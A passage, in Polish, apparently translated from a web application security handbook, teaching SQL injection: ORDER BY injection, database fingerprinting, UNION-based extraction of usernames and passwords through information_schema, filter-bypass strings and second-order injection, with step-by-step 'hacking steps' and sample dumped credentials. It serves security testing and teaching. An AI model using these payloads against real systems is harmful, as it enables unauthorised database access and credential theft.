3. Jeśli pierwszy test zakończy się pomyślnie, można uzyskać dalsze dowody na istnienie luki, używając bardziej skomplikowanych wyrażeń, w których używane są słowa kluczowe i składnia charakterystyczne dla języka SQL. Dobrym tego przykładem jest polecenie ASCII, które zwraca numeryczny kod ASCII podanego znaku. Na przykład, ponieważ wartość A w kodzie ASCII wynosi 65, następujące wyrażenie jest równoważne 2 w języku SQL:

67-ASCII('A')

4. Poprzedni test nie zadziała, jeśli filtrowane są pojedyncze cudzysłowy. Jednak w tej sytuacji można wykorzystać fakt, że bazy danych w razie potrzeby niejawnie konwertują dane liczbowe na dane łańcuchowe. Stąd, ponieważ wartość ASCII znaku 1 wynosi 49, następujące wyrażenie jest równoważne 2 w języku SQL:

51-ASCII(1)

WSKAZÓWKA: Częstym błędem podczas sprawdzania aplikacji pod kątem defektów, takich jak iniekcja SQL, jest zapominanie, że niektóre znaki mają specjalne znaczenie w żądaniach HTTP. Jeśli chcesz dołączyć te znaki do ładunku ataku, musisz uważać, aby zakodować je w adresie URL, aby upewnić się, że zostaną zinterpretowane w sposób, w jaki chcesz. W szczególności:

* & i = są używane do łączenia par nazwa/wartość w celu utworzenia ciągu zapytania i bloku danych POST. Powinieneś je zakodować, używając odpowiednio %26 i %3d.

* Spacje literałów nie są dozwolone w ciągu zapytania. Jeśli zostaną przesłane, skutecznie zakończą cały ciąg. Powinieneś zakodować je za pomocą + lub %20.

* Ponieważ znak + jest używany do kodowania spacji, jeśli chcesz umieścić rzeczywisty znak + w łańcuchu, musisz go zakodować przy użyciu %2b. Dlatego w poprzednim przykładzie liczbowym 1+1 należy podać jako 1%2b1.

* Średnik służy do oddzielania pól cookie i powinien być zakodowany przy użyciu %3b.

Te kodowania są niezbędne, niezależnie od tego, czy edytujesz wartość parametru bezpośrednio z przeglądarki, za pomocą przechwytującego serwera proxy, czy w jakikolwiek inny sposób. Jeśli nie uda Ci się poprawnie zakodować problematycznych znaków, możesz unieważnić całe żądanie lub przesłać dane, których nie zamierzałeś.

Opisane kroki są ogólnie wystarczające do zidentyfikowania większości luk związanych z iniekcją SQL, w tym wielu takich, w których żadne użyteczne wyniki lub informacje o błędach nie są przesyłane z powrotem do przeglądarki. Jednak w niektórych przypadkach konieczne mogą być bardziej zaawansowane techniki, takie jak wykorzystanie opóźnień czasowych w celu potwierdzenia obecności luki w zabezpieczeniach.

Wstrzykiwanie do struktury zapytań

Jeśli dane dostarczone przez użytkownika są wstawiane do struktury samego zapytania SQL, a nie element danych w zapytaniu, wykorzystanie iniekcji SQL polega po prostu na bezpośrednim podaniu prawidłowej składni SQL. Do wyrwania się z jakiegokolwiek kontekstu danych nie jest wymagana żadna „ucieczka”. Najczęstszym punktem wstrzyknięcia w strukturze zapytania SQL jest klauzula ORDER BY. Słowo kluczowe ORDER BY pobiera nazwę lub numer kolumny i porządkuje zestaw wyników zgodnie z wartościami w tej kolumnie. Ta funkcja jest często udostępniana użytkownikowi, aby umożliwić sortowanie tabeli w przeglądarce. Typowym przykładem jest sortowalna tabela książek, która jest pobierana za pomocą tego zapytania:

SELECT author, title, year FROM books WHERE publisher = ‘Wiley’ ORDER BY title ASC

Jeśli tytuł kolumny w ORDER BY jest określony przez użytkownika, nie jest konieczne stosowanie pojedynczego cudzysłowu. Dane dostarczone przez użytkownika już bezpośrednio modyfikują strukturę zapytania SQL.

WSKAZÓWKA: W niektórych rzadszych przypadkach dane wprowadzone przez użytkownika mogą określać nazwę kolumny w klauzuli WHERE. Ponieważ nie są one również zawarte w pojedynczych cudzysłowach, występuje podobny problem. Autorzy napotkali również aplikacje, w których nazwa tabeli była parametrem podanym przez użytkownika. Wreszcie, zaskakująca liczba aplikacji ujawnia słowo kluczowe porządku sortowania (ASC lub DESC) do określenia przez użytkownika, być może wierząc, że nie ma to konsekwencji dla ataków typu SQL injection.

Znalezienie iniekcji SQL w nazwie kolumny może być trudne. Jeśli zostanie podana wartość, która nie jest prawidłową nazwą kolumny, zapytanie zwróci błąd. Oznacza to, że odpowiedź będzie taka sama, niezależnie od tego, czy atakujący prześle ciąg przechodzenia ścieżki, pojedynczy cudzysłów, podwójny cudzysłów lub jakikolwiek inny dowolny ciąg. Dlatego powszechne techniki zarówno automatycznego fuzzingu, jak i testowania ręcznego mogą przeoczyć lukę. Standardowe ciągi testowe dla wielu rodzajów luk spowodują tę samą odpowiedź, która sama w sobie może nie ujawniać natury błędu.

UWAGA: Niektórych konwencjonalnych zabezpieczeń przed wstrzyknięciem SQL, opisanych w dalszej części tego rozdziału, nie można zaimplementować dla nazw kolumn określonych przez użytkownika.

Używanie przygotowanych instrukcji lub unikanie pojedynczych cudzysłowów nie zapobiegnie temu typowi iniekcji SQL. W rezultacie wektor ten jest kluczowym wektorem, na który należy zwrócić uwagę w nowoczesnych aplikacjach.

KROKI HACKOWANIA

1. Zanotuj wszystkie parametry, które wydają się sterować kolejnością lub typami pól w wynikach zwracanych przez aplikację.

2. Wykonaj serię żądań podając wartość liczbową w wartości parametru, zaczynając od liczby 1 i zwiększając ją z każdym kolejnym żądaniem:

* Jeśli zmiana liczby w danych wejściowych wpływa na kolejność wyników, dane wejściowe są prawdopodobnie wstawiane do klauzuli ORDER BY. W języku SQL ORDER BY 1 porządkuje według pierwszej kolumny. Zwiększenie tej liczby do 2 powinno wówczas zmienić kolejność wyświetlania danych na kolejność według drugiej kolumny. Jeśli podana liczba jest większa niż liczba kolumn w zestawie wyników, zapytanie powinno zakończyć się niepowodzeniem. W tej sytuacji możesz potwierdzić, że dalsze SQL może zostać wstrzyknięte, sprawdzając, czy kolejność wyników może zostać odwrócona, używając:

1 ASC --

1 OPIS --

* Jeśli podanie liczby 1 spowoduje otrzymanie zestawu wyników z kolumną zawierającą 1 w każdym wierszu, prawdopodobnie dane wejściowe są wstawiane w nazwę kolumny zwracanej przez zapytanie. Na przykład:

SELECT 1,title,year FROM books WHERE publisher='Wiley'

UWAGA: Wykorzystanie iniekcji SQL w klauzuli ORDER BY znacznie różni się od większości innych przypadków. Baza danych nie zaakceptuje w tym momencie zapytania słowa kluczowego UNION, WHERE, OR ani AND. Ogólnie rzecz biorąc, wykorzystanie wymaga, aby osoba atakująca określiła zagnieżdżone zapytanie zamiast parametru, na przykład zastępując nazwę kolumny (wybierz 1, gdzie <<warunek>> lub 1/0=0), wykorzystując w ten sposób techniki wnioskowania opisane w dalszej części tej części . W przypadku baz danych, które obsługują zapytania wsadowe, takie jak MS-SQL, może to być najbardziej wydajna opcja.

Odciski palców w bazie danych

Większość opisanych do tej pory technik jest skuteczna w przypadku wszystkich popularnych platform bazodanowych, a wszelkie rozbieżności zostały uwzględnione poprzez drobne poprawki w składni. Jednak w miarę jak zaczynamy przyglądać się bardziej zaawansowanym technikom eksploatacji, różnice między platformami stają się coraz bardziej znaczące i coraz częściej będziesz musiał wiedzieć, z jakim typem bazy danych zaplecza masz do czynienia. Widziałeś już, jak wyodrębnić łańcuch wersji głównych typów baz danych. Nawet jeśli z jakiegoś powodu nie można tego zrobić, zwykle możliwe jest pobranie odcisku palca bazy danych przy użyciu innych metod. Jednym z najbardziej niezawodnych jest inny sposób łączenia łańcuchów w bazach danych. W zapytaniu, w którym kontrolujesz pewien element danych ciągu, możesz podać określoną wartość w jednym żądaniu, a następnie przetestować różne metody konkatenacji w celu utworzenia tego ciągu. Po uzyskaniu tych samych wyników prawdopodobnie zidentyfikowałeś typ używanej bazy danych. Poniższe przykłady pokazują, w jaki sposób usługi ciągów znaków mogą być konstruowane w typowych typach baz danych:

* Oracle: ‘serv’||’ices’

* MS-SQL: ‘serv’+’ices’

* MySQL: ‘serv’ ‘ices’ (zwróć uwagę na spację)

Jeśli wstrzykujesz dane liczbowe, do odcisku palca bazy danych można użyć następujących ciągów ataku. Każdy z tych elementów ma wartość 0 w docelowej bazie danych i generuje błąd w innych bazach danych:

* Oracle: BITAND(1,1)-BITAND(1,1)

* MS-SQL: @@PACK_RECEIVED-@@PACK_RECEIVED

* MySQL: CONNECTION_ID()-CONNECTION_ID()

UWAGA: Bazy danych MS-SQL i Sybase mają wspólne pochodzenie, więc mają wiele podobieństw w odniesieniu do struktury tabeli, zmiennych globalnych i procedur składowanych. W praktyce większość technik ataków na MS-SQL opisanych w dalszych sekcjach będzie działać w identyczny sposób na Sybase.

Kolejnym interesującym punktem w przypadku baz danych opartych na odciskach palców jest sposób, w jaki MySQL obsługuje niektóre typy komentarzy wbudowanych. Jeśli komentarz zaczyna się od wykrzyknika, po którym następuje ciąg wersji bazy danych, treść komentarza jest interpretowana jako rzeczywisty kod SQL, pod warunkiem, że wersja rzeczywistej bazy danych jest równa lub późniejsza od tego ciągu. W przeciwnym razie treść jest ignorowana i traktowana jako komentarz. Programiści mogą korzystać z tej funkcji podobnie jak dyrektywy preprocesora w C, umożliwiając im pisanie różnych kodów, które będą przetwarzane warunkowo w zależności od używanej wersji bazy danych. Osoba atakująca może również użyć tej funkcji do pobrania dokładnej wersji bazy danych. Na przykład wstrzyknięcie następującego ciągu powoduje, że klauzula WHERE instrukcji SELECT ma wartość false, jeśli używana wersja MySQL jest większa lub równa 3.23.02:

/*!32302 i 1=0*/

Operator UNION

Operator UNION jest używany w języku SQL do łączenia wyników dwóch lub więcej instrukcji SELECT w jeden zestaw wyników. Gdy aplikacja internetowa zawiera lukę umożliwiającą wstrzyknięcie kodu SQL, która występuje w instrukcji SELECT, często można użyć operatora UNION do wykonania drugiego, całkowicie oddzielnego zapytania i połączenia jego wyników z wynikami pierwszego. Jeśli wyniki zapytania zostaną zwrócone do twojej przeglądarki, ta technika może być wykorzystana do łatwego wyodrębnienia dowolnych danych z bazy danych. UNION jest obsługiwany przez wszystkie główne produkty DBMS. Jest to najszybszy sposób na pobranie dowolnych informacji z bazy danych w sytuacjach, gdy wyniki zapytania są zwracane bezpośrednio. Przypomnij sobie aplikację, która umożliwiała użytkownikom wyszukiwanie książek na podstawie autora, tytułu, wydawcy i innych kryteriów. Wyszukiwanie książek wydanych przez Wiley powoduje, że aplikacja wykonuje zapytanie:

SELECT author,title,year FROM books WHERE publisher = ‘Wiley’

Załóżmy, że to zapytanie zwraca następujący zestaw wyników:

AUTOR: TYTUŁ: ROK

Litchfield: Podręcznik hakera bazy danych: 2005

Anley: Podręcznik Shellcodera: 2007

Widzieliśmy już wcześniej, jak osoba atakująca może wprowadzić spreparowane dane wejściowe do funkcji wyszukiwania, aby obalić klauzulę WHERE zapytania i w ten sposób zwrócić wszystkie książki znajdujące się w bazie danych. O wiele bardziej interesującym atakiem byłoby użycie operatora UNION do wstrzyknięcia drugiego zapytania SELECT i dołączenia jego wyników do wyników pierwszego. To drugie zapytanie może wyodrębnić dane z innej tabeli bazy danych.

Na przykład wpisując wyszukiwane hasło:

Wiley' UNION SELECT username,password,uid FROM users--

powoduje, że aplikacja wykonuje następujące zapytanie:

SELECT author,title,year FROM books WHERE publisher = 'Wiley'

UNION SELECT username,password,uid FROM users--'

Spowoduje to zwrócenie wyników pierwotnego wyszukiwania, po których następuje zawartość tabeli użytkowników:

AUTOR: TYTUŁ: ROK

Litchfield: Podręcznik hakera bazy danych: 2005

Anley: Podręcznik Shellcodera: 2007

admin: r00tr0x: 0

klif: Uruchom ponownie: 1

UWAGA: Gdy wyniki dwóch lub więcej zapytań SELECT są łączone przy użyciu operatora UNION, nazwy kolumn połączonego zestawu wyników są takie same, jak te zwrócone przez pierwsze zapytanie SELECT. Jak pokazano w powyższej tabeli, nazwy użytkowników pojawiają się w kolumnie autora, a hasła w kolumnie tytułu. Oznacza to, że gdy aplikacja przetwarza wyniki zmodyfikowanego zapytania, nie ma możliwości wykrycia, że zwracane dane pochodzą z innej tabeli.

Ten prosty przykład demonstruje potencjalnie ogromną moc operatora UNION, gdy jest on używany w ataku typu SQL injection. Jednak zanim będzie można go wykorzystać w ten sposób, należy wziąć pod uwagę dwa ważne zastrzeżenia:

* Gdy wyniki dwóch zapytań są łączone przy użyciu operatora UNION, oba zestawy wyników muszą mieć taką samą strukturę. Innymi słowy, muszą zawierać taką samą liczbę kolumn, które mają te same lub zgodne typy danych, występujące w tej samej kolejności.

* Aby wstrzyknąć drugie zapytanie, które zwróci interesujące wyniki, osoba atakująca musi znać nazwę tabeli bazy danych, którą chce zaatakować, oraz nazwy jej odpowiednich kolumn. Przyjrzyjmy się nieco głębiej pierwszemu z tych zastrzeżeń. Załóżmy, że napastnik próbuje wstrzyknąć drugie zapytanie, które zwraca niepoprawną liczbę kolumn. Podaje to wejście:

Wiley' UNION SELECT username,password FROM users--

Oryginalne zapytanie zwraca trzy kolumny, a wstrzyknięte zapytanie zwraca tylko dwie kolumny. Dlatego baza danych zwraca następujący błąd:

ORA-01789: query block has incorrect number of result columns

Załóżmy zamiast tego, że osoba atakująca próbuje wstrzyknąć drugie zapytanie, którego kolumny mają niezgodne typy danych. Podaje to wejście:

Wiley' UNION SELECT uid,username,password FROM users--

Powoduje to, że baza danych próbuje połączyć kolumnę hasła z drugiego zapytania (która zawiera dane łańcuchowe) z kolumną roku z pierwszego zapytania (która zawiera dane liczbowe). Ponieważ danych łańcuchowych nie można przekonwertować na dane liczbowe, powoduje to błąd:

ORA-01790: expression must have same datatype as corresponding expression

UWAGA: Pokazane tutaj komunikaty o błędach dotyczą Oracle.

W wielu rzeczywistych przypadkach wyświetlane komunikaty o błędach bazy danych są przechwytywane przez aplikację i nie są zwracane do przeglądarki użytkownika. Może się zatem wydawać, że próbując odkryć strukturę pierwszego zapytania, jesteś ograniczony do czystego zgadywania. Jednak tak nie jest. Trzy ważne punkty oznaczają, że Twoje zadanie jest zwykle łatwe:

* Aby wstrzyknięte zapytanie można było połączyć z pierwszym, nie jest bezwzględnie konieczne, aby zawierało te same typy danych. Raczej muszą być kompatybilne. Innymi słowy, każdy typ danych w drugim zapytaniu musi być identyczny z odpowiadającym mu typem w pierwszym lub niejawnie konwertować na ten typ. Widziałeś już, że bazy danych niejawnie konwertują wartość liczbową na wartość łańcuchową. W rzeczywistości wartość NULL można przekonwertować na dowolny typ danych. W związku z tym, jeśli nie znasz typu danych określonego pola, możesz po prostu WYBRAĆ NULL dla tego pola.

* W przypadkach, gdy aplikacja przechwytuje komunikaty o błędach bazy danych, możesz łatwo określić, czy wstrzyknięte zapytanie zostało wykonane. Jeśli tak, dodatkowe wyniki są dodawane do wyników zwracanych przez aplikację z pierwotnego zapytania. Dzięki temu możesz pracować systematycznie, dopóki nie odkryjesz struktury zapytania, które musisz wstrzyknąć.

* W większości przypadków możesz osiągnąć swoje cele, po prostu identyfikując pojedyncze pole w oryginalnym zapytaniu, które ma typ danych łańcuchowych. To wystarczy, aby wstrzyknąć dowolne zapytania, które zwracają dane oparte na łańcuchach i pobierają wyniki, umożliwiając systematyczne wyodrębnianie dowolnych żądanych danych z bazy danych.

KROKI HACKOWANIA

Twoim pierwszym zadaniem jest odkrycie liczby kolumn zwróconych przez pierwotne zapytanie wykonywane przez aplikację. Możesz to zrobić na dwa sposoby:

1. Możesz wykorzystać fakt, że NULL można przekonwertować na dowolny typ danych, aby systematycznie wstrzykiwać zapytania z różną liczbą kolumn, aż do wykonania wstrzykniętego zapytania. Na przykład:

' UNION SELECT NULL--

' UNION SELECT NULL, NULL--

' UNION SELECT NULL, NULL, NULL--

Po wykonaniu zapytania określono wymaganą liczbę kolumn. Jeśli aplikacja nie zwraca komunikatów o błędach bazy danych, nadal możesz stwierdzić, kiedy wstrzyknięte zapytanie powiodło się. Zostanie zwrócony dodatkowy wiersz danych zawierający słowo NULL lub pusty łańcuch. Zwróć uwagę, że wstrzyknięty wiersz może zawierać tylko puste komórki tabeli, więc może być słabo widoczny po

wyrenderowaniu jako HTML. Z tego powodu lepiej jest patrzeć na surową odpowiedź podczas wykonywania tego ataku.

2. Po zidentyfikowaniu wymaganej liczby kolumn następnym zadaniem jest znalezienie kolumny zawierającej dane typu łańcuchowego, aby można było użyć jej do wyodrębnienia dowolnych danych z bazy danych. Możesz to zrobić, wstrzykując zapytanie zawierające NULL, tak jak robiłeś to poprzednio, i systematycznie zastępując każdy NULL przez a. Na przykład, jeśli wiesz, że zapytanie musi zwrócić trzy kolumny, możesz wstrzyknąć:

‘ UNION SELECT ‘a’, NULL, NULL--

‘ UNION SELECT NULL, ‘a’, NULL--

‘ UNION SELECT NULL, NULL, ‘a’--

Po wykonaniu zapytania zobaczysz dodatkowy wiersz danych zawierający wartość a. Następnie możesz użyć odpowiedniej kolumny do wyodrębnienia danych z bazy danych.

UWAGA: W bazach danych Oracle każda instrukcja SELECT musi zawierać atrybut FROM, więc wstrzyknięcie UNION SELECT NULL powoduje błąd niezależnie od liczby kolumn. Możesz spełnić to wymaganie, wybierając z globalnie dostępnej tabeli DUAL. Na przykład:

„UNION SELECT NULL FROM DUAL—

Po określeniu liczby kolumn wymaganych we wstrzykniętym zapytaniu i znalezieniu kolumny zawierającej dane typu łańcuchowego można wyodrębnić dowolne dane. Prostym testem sprawdzającym koncepcję jest wyodrębnienie ciągu wersji bazy danych, co można wykonać w dowolnym systemie DBMS. Na przykład, jeśli istnieją trzy kolumny, a pierwsza kolumna może zawierać dane w postaci ciągu znaków, można wyodrębnić wersję bazy danych, wstrzykując następujące zapytanie do MS-SQL i MySQL:

‘ UNION SELECT @@version,NULL,NULL--

Wstrzyknięcie następującego zapytania daje ten sam wynik w Oracle:

‘ UNION SELECT banner,NULL,NULL FROM v$version--

W przykładzie podatnej na ataki aplikacji do wyszukiwania książek możemy użyć tego ciągu jako wyszukiwanego terminu w celu pobrania wersji bazy danych Oracle:

AUTHOR	TITLE	YEAR
CORE 9.2.0.1.0 Production		
NLSRTL Version 9.2.0.1.0 - Production		
Oracle9i Enterprise Edition Release 9.2.0.1.0 - Production		
PL/SQL Release 9.2.0.1.0 - Production		
TNS for 32-bit Windows: Version 9.2.0.1.0 - Production		

Oczywiście, nawet jeśli ciąg wersji bazy danych może być interesujący i może umożliwić zbadanie luk w konkretnym używanym oprogramowaniu, w większości przypadków będziesz bardziej zainteresowany wyodrębnieniem rzeczywistych danych z bazy danych. Aby to zrobić, zazwyczaj musisz zająć się drugim zastrzeżeniem opisanym wcześniej. Oznacza to, że musisz znać nazwę tabeli bazy danych, którą chcesz kierować, oraz nazwy jej odpowiednich kolumn.

Wyodrębnianie przydatnych danych

Aby wyodrębnić przydatne dane z bazy danych, zwykle musisz znać nazwy tabel i kolumn zawierających dane, do których chcesz uzyskać dostęp. Główne korporacyjne systemy DBMS zawierają bogatą ilość metadanych bazy danych, które można wyszukiwać w celu odnalezienia nazw każdej tabeli i kolumny w bazie danych. Metodologia wydobywania przydatnych danych jest w każdym przypadku taka sama; jednak szczegóły różnią się na różnych platformach baz danych.

Ekstrakcja danych za pomocą UNION

Spójrzmy na atak przeprowadzany na bazę danych MS-SQL, ale użyjmy metodologii, która będzie działać na wszystkich technologiach bazodanowych. Rozważ aplikację książki adresowej, która pozwala użytkownikom prowadzić listę kontaktów oraz wyszukiwać i aktualizować ich dane. Gdy użytkownik wyszukuje w swojej książce adresowej kontakt o imieniu Mateusz, jej przeglądarka publikuje następujący parametr:

Name=Matthew

a aplikacja zwraca następujące wyniki:

NAZWA: E-MAIL

Matthew Adamson: handytrick@gmail.com

Najpierw musimy określić wymaganą liczbę kolumn. Testowanie pojedynczej kolumny powoduje wyświetlenie komunikatu o błędzie:

Name=Matthew’%20union%20select%20null--

Wszystkie zapytania połączone za pomocą operatora UNION, INTERSECT lub EXCEPT muszą mieć taką samą liczbę wyrażeń na swoich listach docelowych. Dodajemy drugą wartość NULL i występuje ten sam błąd. Kontynuujemy więc dodawanie wartości NULL, dopóki nasze zapytanie nie zostanie wykonane, generując dodatkowy element w tabeli wyników:

Name=Matthew’%20union%20select%20null,null,null,null,null—

NAZWA: E-MAIL

Matthew Adamson: handytrick@gmail.com

[pusty] : [pusty]

Teraz sprawdzamy, czy pierwsza kolumna zapytania zawiera ciąg danych:

Name=Matthew’%20union%20select%20’a’,null,null,null,null—

NAZWA: E-MAIL

Matthew Adamson: handytrick@gmail.com

a :

Kolejnym krokiem jest znalezienie nazw tabel i kolumn bazy danych, które mogą zawierać interesujące informacje. Możemy to zrobić, wysyłając zapytanie do tabeli metadanych information_schema.columns, która zawiera szczegółowe informacje o wszystkich tabelach i nazwach kolumn w bazie danych. Można je odzyskać za pomocą tego zapytania:

Name=Matthew’%20union%20select%20table_name,column_name,null,null,
null%20from%20information_schema.columns—

NAZWA: E-MAIL

Matthew Adamson: handytrick@gmail.com

shop_items : cena

shop_items : prodid

shop_items : nazwa_produktu

książka_adresowa: kontaktowy adres e-mail

książka_adresowa: nazwa kontaktu

użytkownicy: nazwa użytkownika

użytkownicy: hasło

W tym przypadku tabela użytkowników jest oczywistym miejscem do rozpoczęcia wyodrębniania danych. Możemy wyodrębnić dane z tabeli użytkowników za pomocą tego zapytania:

Nazwa=Matthew’%20UNION%20select%20username,password,null,null,null%20from%20users—

NAZWA: E-MAIL

Matthew Adamson: handytrick@gmail.com

administrator: fme69

twórca: uber

marcus: 8pinto

smith: dwasześćdziesiąt

jlo: 6kdown

WSKAZÓWKA: Information_schema jest obsługiwany przez MS-SQL, MySQL i wiele innych baz danych, w tym SQLite i Postgresql. Jest przeznaczony do przechowywania metadanych bazy danych, co czyni go głównym celem atakujących chcących zbadać bazę danych. Pamiętaj, że Oracle nie obsługuje tego schematu. W przypadku ataku na bazę danych Oracle atak byłby identyczny pod każdym innym względem. Można by jednak użyć zapytania SELECT nazwa_tabeli,nazwa_kolumny FROM all_tab_columns w celu pobrania informacji o tabelach i kolumnach w bazie danych. (Tabelę user_tab_columns można by wykorzystać, aby skoncentrować się tylko na bieżącej bazie danych). Podczas analizowania dużych baz danych pod kątem punktów ataku zwykle najlepiej jest szukać bezpośrednio interesujących nazw kolumn, a nie tabel. Na przykład:

SELECT table_name,column_name FROM information_schema.columns where column_name LIKE ‘%PASS%’

WSKAZÓWKA: Gdy z tabeli docelowej zwracanych jest wiele kolumn, można je połączyć w jedną kolumnę. To sprawia, że pobieranie jest prostsze, ponieważ wymaga zidentyfikowania tylko jednego pola varchar w pierwotnym zapytaniu:

* Oracle: SELECT table_name||’:’||column_name FROM all_tab_columns

* MS-SQL: SELECT table_name+':'+column_name from information_

schema.columns

* MySQL: SELECT CONCAT(table_name,':',column_name) from

information_schema.columns

Omijanie filtrów

W niektórych sytuacjach aplikacja podatna na iniekcję SQL może implementować różne filtry wejściowe, które uniemożliwiają wykorzystanie luki bez ograniczeń. Na przykład aplikacja może usuwać lub oczyszczać niektóre znaki lub blokować popularne słowa kluczowe SQL. Filtry tego typu są często podatne na obejścia, dlatego w takiej sytuacji warto wypróbować wiele sztuczek.

Unikanie zablokowanych znaków

Jeśli aplikacja usunie lub zakoduje niektóre znaki, które są często używane w atakach polegających na wstrzykiwaniu kodu SQL, nadal możesz przeprowadzić atak bez tych znaków:

* Pojedynczy cudzysłów nie jest wymagany, jeśli wstrzykujesz do pola danych liczbowych lub nazwy kolumny. Jeśli musisz wprowadzić ciąg znaków do ładunku ataku, możesz to zrobić bez cudzysłowów. Możesz użyć różnych funkcji łańcuchowych, aby dynamicznie konstruować ciąg przy użyciu kodów ASCII dla poszczególnych znaków. Na przykład następujące dwa zapytania odpowiednio dla Oracle i MS-SQL są odpowiednikami select ename, sal from emp, gdzie ename='marcus':

SELECT ename, sal FROM emp where ename=CHR(109)||CHR(97)||

CHR(114)||CHR(99)||CHR(117)||CHR(115)

SELECT ename, sal FROM emp WHERE ename=CHAR(109)+CHAR(97)

+CHAR(114)+CHAR(99)+CHAR(117)+CHAR(115)

* Jeśli symbol komentarza jest zablokowany, często można spreparować wstrzyknięte dane w taki sposób, aby nie łamały one składni otaczającego zapytania, nawet bez użycia tego. Na przykład zamiast wstrzykiwać:

' or 1=1--

możesz wstrzyknąć:

' or 'a'='a

* Podczas próby wstrzyknięcia zapytań wsadowych do bazy danych MS-SQL nie trzeba używać separatora średnika. Pod warunkiem, że poprawisz składnię wszystkich zapytań w partii, parser zapytań zinterpretuje je poprawnie, niezależnie od tego, czy uwzględnisz średnik, czy nie.

Obejście prostej walidacji

Niektóre procedury sprawdzania poprawności danych wejściowych wykorzystują prostą czarną listę i albo blokują, albo usuwają wszelkie dostarczone dane, które pojawiają się na tej liście. W takim przypadku powinieneś wypróbować standardowe ataki, szukając typowych defektów w mechanizmach walidacji i kanonizacji, jak opisano w rozdziale 2. Na przykład, jeśli słowo kluczowe SELECT jest blokowane lub usuwane, możesz wypróbować następujące obejścia:

SeLeCt

%00SELECT

SELSELECTECT

%53%45%4c%45%43%54

%2553%2545%254c%2545%2543%2554

Korzystanie z komentarzy SQL

Komentarze śródliniowe można wstawiać do instrukcji SQL w taki sam sposób, jak w C++, osadzając je między symbolami /* i */. Jeśli aplikacja blokuje lub usuwa spacje z danych wejściowych, możesz użyć komentarzy do symulacji białych znaków we wstrzykniętych danych. Na przykład:

SELECT/*foo*/username,password/*foo*/FROM/*foo*/users

W MySQL komentarze można nawet umieszczać w samych słowach kluczowych, co zapewnia kolejny sposób na ominięcie niektórych filtrów sprawdzania poprawności danych wejściowych przy jednoczesnym zachowaniu składni rzeczywistego zapytania. Na przykład:

SEL/*foo*/ECT username,password FR/*foo*/OM users

Wykorzystywanie wadliwych filtrów

Procedury sprawdzania poprawności danych wejściowych często zawierają luki logiczne, które można wykorzystać do przemycenia zablokowanych danych wejściowych przez filtr. Ataki te często wykorzystują porządkowanie wielu etapów sprawdzania poprawności lub brak rekurencyjnego zastosowania logiki sanityzacji

Wstrzyknięcie SQL drugiego rzędu

Szczególnie interesujący typ obejścia filtra powstaje w związku z iniekcją SQL drugiego rzędu. Wiele aplikacji bezpiecznie obsługuje dane, gdy są one po raz pierwszy umieszczane w bazie danych. Gdy dane są przechowywane w bazie danych, mogą być później przetwarzane w niebezpieczny sposób przez samą aplikację lub przez inne procesy zaplecza. Wiele z nich nie ma takiej samej jakości jak podstawowa aplikacja internetowa, ale ma konta bazy danych o wysokich uprawnieniach. W niektórych aplikacjach dane wprowadzane przez użytkownika są weryfikowane po przybyciu przez ucieczkę przez pojedynczy cytat. W oryginalnym przykładzie wyszukiwania książek to podejście wydaje się skuteczne. Gdy użytkownik wprowadzi wyszukiwane hasło O'Reilly, aplikacja wykona następujące zapytanie:

SELECT author,title,year FROM books WHERE publisher = 'O''Reilly'

Tutaj pojedynczy cudzysłów podany przez użytkownika został przekształcony w dwa pojedyncze cudzysłowy. W związku z tym element przekazany do bazy danych ma takie samo znaczenie dosłowne, jak oryginalne wyrażenie wprowadzone przez użytkownika. Jeden problem z podejściem dublowania pojawia się w bardziej złożonych sytuacjach, w których ten sam element danych przechodzi przez kilka zapytań SQL, jest zapisywany w bazie danych, a następnie odczytywany z powrotem więcej niż jeden raz. Jest to jeden z przykładów wad prostej weryfikacji danych wejściowych w przeciwieństwie do weryfikacji granic, jak opisano w rozdziale 2. Przypomnij sobie aplikację, która umożliwiała użytkownikom samodzielną rejestrację i zawierała kod SQL błąd wtrysku w instrukcji INSERT. Załóżmy, że programiści próbują naprawić lukę, podwajając pojedyncze cudzysłowy, które pojawiają się w danych użytkownika. Próba zarejestrowania nazwy użytkownika foo' skutkuje następującym zapytaniem, które nie powoduje żadnych problemów z bazą danych:

INSERT INTO users (username, password, ID, privs) VALUES (‘foo’’, ‘secret’, 2248, 1)

Jak dotąd, tak dobrze. Załóżmy jednak, że aplikacja implementuje również funkcję zmiany hasła. Ta funkcja jest dostępna tylko dla uwierzytelnionych użytkowników, ale dla dodatkowej ochrony aplikacja wymaga od użytkowników podania starego hasła. Następnie weryfikuje, czy jest to poprawne, pobierając bieżące hasło użytkownika z bazy danych i porównując dwa ciągi. W tym celu najpierw pobiera nazwę użytkownika z bazy danych, a następnie konstruuje następujące zapytanie:

SELECT password FROM users WHERE username = ‘foo’’

Ponieważ nazwa użytkownika przechowywana w bazie danych jest dosłownym ciągiem znaków foo’, jest to wartość, którą baza danych zwraca podczas zapytania o tę wartość. Sekwencja ucieczki podwójnego duplikatu jest używana tylko w punkcie, w którym łańcuchy są przekazywane do bazy danych. W związku z tym, gdy aplikacja ponownie wykorzystuje ten ciąg znaków i umieszcza go w drugim zapytaniu, pojawia się błąd wstrzykiwania kodu SQL, a oryginalne błędne dane wejściowe użytkownika są osadzane bezpośrednio w zapytaniu. Gdy użytkownik próbuje zmienić hasło, aplikacja zwraca następujący komunikat, który ujawnia lukę:

Unclosed quotation mark before the character string ‘foo

Aby wykorzystać tę lukę, osoba atakująca może po prostu zarejestrować nazwę użytkownika zawierającą spreparowane dane wejściowe, a następnie spróbować zmienić hasło. Na przykład, jeśli zarejestrowana jest następująca nazwa użytkownika:

‘ or 1 in (select password from users where username=’admin’)--

sam krok rejestracji będzie obsługiwany w bezpieczny sposób. Kiedy atakujący spróbuje zmienić swoje hasło, jego wstrzyknięte zapytanie zostanie wykonane, co spowoduje wyświetlenie następującego komunikatu, który ujawnia hasło administratora:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’ [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘fme69’ to a column of data type int.

Atakujący pomyślnie ominął sprawdzanie poprawności danych wejściowych, które zostało zaprojektowane w celu blokowania ataków polegających na iniekcji SQL. Teraz ma sposób na wykonywanie dowolnych zapytań w bazie danych i pobieranie wyników.

Zaawansowana eksploatacja

